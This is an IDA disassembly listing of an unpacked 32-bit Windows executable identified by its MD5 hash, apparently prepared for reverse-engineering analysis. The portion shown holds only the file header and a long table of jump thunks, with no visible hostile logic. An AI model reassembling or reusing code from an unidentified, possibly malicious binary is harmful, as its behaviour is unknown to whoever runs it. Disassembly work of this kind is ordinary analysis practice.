;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A3AEFDB8372A8720B3B119B29007275E

; File Name   :	u:\work\a3aefdb8372a8720b3b119b29007275e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_42F630
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421AF0+29p
		jmp	sub_422050
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431250
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004118E3p
		jmp	sub_411910
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B1BDp
					; ___:0040B1CAp ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B000
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+619p
					; sub_404C70+6D8p ...
		jmp	sub_40A030
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413510+3Bp
					; ___:00414B30p
		jmp	sub_4155E0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F840+6Ep
					; sub_42F840+8Ap ...
		jmp	sub_432FE0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EF22p
					; sub_42F840+3Fp ...
		jmp	sub_432E60
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423940

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D130
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B000+3Ap
					; sub_40B070+1Ap
		jmp	sub_432980
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421C30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C0C0+8p
		jmp	sub_40C280
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_431900+5Ap
					; sub_433710+50p
		jmp	sub_4318C0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C610
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416EAAp
		jmp	sub_41FBD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40BF60+32p
		jmp	sub_40C120
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416EBAp
		jmp	sub_418290
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415830+5Ep
					; sub_416280+32p
		jmp	sub_4161C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4223E0+3p
		jmp	sub_421A50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421C30+3p
					; ___:00421FFFp ...
		jmp	sub_422170
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C400+43p
		jmp	sub_40CAD0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_427FF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4245F0+23p
					; sub_424790+6p ...
		jmp	sub_424500
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430C00+F5p
					; sub_430C00+14Fp
		jmp	sub_432DF0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4331D0+C8p
		jmp	sub_430990
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429DC0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418330+D0p
					; sub_418490+2Dp
		jmp	sub_418A20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FF60+8D9p
					; sub_40FF60+990p ...
		jmp	sub_411860
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F336p
					; ___:0042F3A4p ...
		jmp	sub_430F00
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421D50+9p
					; sub_422240+18p
		jmp	sub_4223C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40A9F0+58p
					; sub_40A9F0+82p ...
		jmp	sub_40ABE0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422A40+3F1p
					; ___:00423AA6p ...
		jmp	sub_419AE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416010+7p
		jmp	sub_416640
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415520+4Fp
					; sub_415E70+11p ...
		jmp	sub_4160C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429C30+58p
		jmp	sub_429AA0
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421870+1Fp
		jmp	sub_421CB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_421FB0+11p
					; ___:00421FD7p ...
		jmp	sub_4224D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413D60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421A30+3p
					; ___:00421D9Fp ...
		jmp	sub_421F10
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414400

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426F20+3p
		jmp	sub_426F50
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415A00+11p
					; ___:00415A27p ...
		jmp	sub_416470
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_433310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421B60+5p
					; sub_421C50+6p ...
		jmp	sub_422150
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416A5Bp
					; ___:00439F5Ej ...
		jmp	sub_417A60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_412970
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_4192C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431A20+6p
					; ___:00431A33p ...
		jmp	sub_42F480
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E3D0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423C9Dp
		jmp	sub_423760
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:004150A8p
		jmp	sub_415990
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41B950+F7p
					; sub_41B950+10Bp ...
		jmp	sub_409EA0
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_409910+Ap
		jmp	sub_409A00
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4133D0+55p
					; sub_4133D0+94p ...
		jmp	sub_415770
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425020+183p
		jmp	sub_4235F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414BBEp
		jmp	sub_415520
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_427600+3p
		jmp	sub_427630
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415DD0+11p
					; ___:00415DF7p ...
		jmp	sub_4165F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D730

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418B10+23p
					; sub_418D80+11p
		jmp	sub_418E60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A90+3p
					; sub_418E90+54p ...
		jmp	sub_418CE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409600+6Ap
					; sub_409600+103p
		jmp	sub_4098A0
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_432840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413D7Dp
		jmp	sub_413B70
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A1E4p
		jmp	sub_41AFE0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4133D0+88p
					; sub_4147D0+BFp ...
		jmp	sub_415930
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F480+7p
					; sub_42F4F0+19p ...
		jmp	sub_4338B0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DB10
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:004310AAp
		jmp	sub_430A50
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421C10+3p
		jmp	sub_422190
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C250+Ap
		jmp	sub_40C310
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413274p
					; ___:0043998Cj ...
		jmp	sub_4153B0
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B350+3p
		jmp	sub_42B380
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414BCDp
		jmp	sub_414C70
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A00+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413510+73p
					; ___:00414B6Dp ...
		jmp	sub_415600
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413DA0+84p
		jmp	sub_4137E0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00432428p
		jmp	sub_42FD70
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A430
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A790+21p
					; sub_40A9F0+A5p
		jmp	sub_40A9D0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A430+129p
					; sub_40A810+4p ...
		jmp	sub_40A7E0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_426650
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004322BDp
		jmp	sub_42FA70
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421870
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421AB0+11p
					; sub_421FB0+1Fp
		jmp	sub_4220E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B4F0+3p
		jmp	sub_42B520
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C120+5Fp
		jmp	sub_40C2F0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409C30
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421A30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416AFBp
					; ___:00439ED2j ...
		jmp	sub_4176B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AEC0+Fp
		jmp	sub_42FF50
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418B10+32p
		jmp	sub_418D80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415420+5p
					; sub_415620+6p ...
		jmp	sub_416030
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BCB0+29p
					; sub_40BDD0+29p
		jmp	sub_40BF60
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043B1ABj
		jmp	sub_421AF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4144D0+BFp
		jmp	sub_415210
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4164E0+Ap
		jmp	sub_416820
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416B67p
					; ___:00439E73j ...
		jmp	sub_416FB0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418330
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_417FD0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414690
; ---------------------------------------------------------------------------
		jmp	loc_42F030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FF60+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B6E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E5Ap
		jmp	sub_418180
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409490+8p
		jmp	sub_4094E0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_409600+A5p
					; sub_412BC0+21p
		jmp	sub_409810
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+385p
					; sub_41D830+5AAp
		jmp	sub_41C030
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D6Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418BC0+23p
					; sub_418E90+11p
		jmp	sub_418FE0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424840+Cp
					; sub_424840+3Ep ...
		jmp	sub_424330
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+860p
					; sub_404C70+ADCp ...
		jmp	sub_40A290
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EB16p
					; ___:0042EB66p ...
		jmp	sub_431490
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421C80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426A60+107o
		jmp	sub_426CE0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424720+18p
					; sub_424760+Ap ...
		jmp	sub_4246D0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416120+9p
					; sub_4161C0+18p
		jmp	sub_4167D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_431280+32o
		jmp	sub_431A80
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EB60
; ---------------------------------------------------------------------------
		jmp	loc_419BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429AA0+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EEF8p
					; sub_42F0B0+2p ...
		jmp	sub_430270
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413670+3Fp
					; sub_4144D0+40p ...
		jmp	sub_415160
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409EF0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424E90+B5p
					; sub_424E90+F1p
		jmp	sub_424E20
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425020+127p
		jmp	sub_424E90
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416E3Ap
		jmp	sub_418080
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416E0Fp
		jmp	sub_417F10
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4303D0+1p
		jmp	sub_430460
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425F11p
		jmp	sub_426450
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418330+71p
					; sub_418330+BBp ...
		jmp	sub_4189F0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A0A0+7p
		jmp	sub_40A0C0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004316D8p
					; sub_431730+2Bp
		jmp	sub_431900
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431280+1p
		jmp	sub_4314C0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421BD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414360+5Bp
		jmp	sub_415030
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_4153B0+29p
					; sub_4154D0+29p
		jmp	sub_415F30
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435F42p
					; ___:00435F52p ...
		jmp	sub_435E00
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4133D0+5Fp
					; sub_4133D0+9Ep ...
		jmp	sub_415960
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B520+62p
					; ___:0040B9E8p ...
		jmp	sub_40BE60
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4300C0
; ---------------------------------------------------------------------------
		jmp	loc_42EC40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B3A0
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416090+8p
		jmp	sub_4166B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4133D0+71p
					; sub_4133D0:loc_41349Cp ...
		jmp	sub_415910
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418330+AFp
					; sub_418FE0+3p
		jmp	sub_418AB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426A60
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B520+39p
					; sub_40B520+78p ...
		jmp	sub_40BE90
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_4257A0+29p
					; sub_4257A0+38p
		jmp	sub_4256B0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A500+1Cp
		jmp	sub_41A540
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429C30
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408BD9p
					; ___:00414481p
		jmp	sub_414230
sub_40137F	endp


